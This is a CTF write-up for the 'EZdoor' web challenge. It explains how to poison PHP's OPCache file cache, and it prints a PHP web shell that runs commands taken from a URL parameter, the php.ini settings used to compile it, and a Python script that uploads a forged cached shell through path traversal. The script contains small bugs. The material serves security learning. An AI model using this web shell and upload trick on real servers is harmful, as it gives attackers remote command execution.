0CTF 2018 EZdoor Web Challenge
Sunshine CTF 2018 web challenges writeup

Challenge name: EZdoor

Link: http://202.120.7.217:9527

In this challenge, we are greeted with the source code:

Breaking down the code,

if(!file_exists($dir . "index.php")){
  touch($dir . "index.php");
}

does create a new index.php file if not created already.

This question was kind of similar to the one we had for ASIS CTF finals couple of years back. This made me realise that it was related to OPCache and since there was a writeup, probably a research, on the same.

So going line by line, we were provided with 5 different functionalities - pwd for the path, phpinfo which provides the info page, reset to clear the directory, time to show the timestamp (this will prove to be important later) & upload option to upload our file.

Understanding the problem deeper, OPCache is the built-in caching engine with PHP 7.0.* versions. It not only compiles PHP scripts and sets the resulting bytecode in memory but also, offers caching in the filesystem when specifying a destination folder in PHP.ini file.

You can find the line opcache.file_cache=/tmp/opcache in PHP.ini file. Inside this folder, OPCache stores its compiled PHP scripts in the same folder where the PHP code is written. So essentially, a compiled version of /var/www/index.php will be stored in /tmp/opcache/<system_id>/var/www/index.php.bin.

To generate a phpbin file, create a index.php file with contents:

<?php
   system($_GET['cmd']);
?>

and then, php -S 127.0.0.1:8080 and a simple wget 127.0.0.1:8080 generated the phpbin file.

Also for this, the php.ini files has to be updated in the following way:

opcache.enable=1
opcache.validate_timestamps=1
opcache.file_cache= "/var/www/html/cache"
opcache.file_cache_only=1

Now to calculate the system_id, we have got a tool over here and with that, we can identify what we want to calculate.

To calculate the above, the parameters were php_version = 7.0.28 , zend_extension_id: API320151012,NTS and zend_bin_id: BIN_SIZEOF_CHAR48888.

Calculation of system_id : digest = hashlib.md5(php_version + zend_extension_id + zend_bin_id).hexdigest()

Now about solving the challenge, firstly, to control the cache file, we mainly need to get hold of two parameters, timestamp and opchache_ID.

After generating the system ID, grab the timestamp. Set this to the OPcached web-shell (index.php.bin) to bypass opchache.validation_timestamp and upload it.

The final script was:

import struct
import requests

URL = "http://202.120.7.217:9527/"
sid = "7badddeddbd076fe8352e80d8ddf3e73"
UID = "c607e0c365ae4a0ea516aadaad3db7adfe45df9c" #constant
SID = "7badddeddbd076fe8352e80d8ddf3e73" #SystemID calculated

requests.get(URL+"?action=reset")
print "Reset done"


timestamp = int(requests.get(URL+"?action=time").text)
print "Time stamp: " + str(ts)


f = open("index.php.bin").read()

path = f[:8]+sid+f[40:64]+struct.pack("I", timestamp)+f[68:] #this is done to replace the SystemID and timestamp with a custom one in an already existing one

requests.post(
    URL+"?action=upload&name=../../../../../tmp/cache/"+SID+"/var/www/html/sandbox/"+UID+"/index.php.bin"
    , files=dict(file=path)
    )

Reach me out on Twitter for more queries.

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Written by Gokul Krishna on 10 April 2018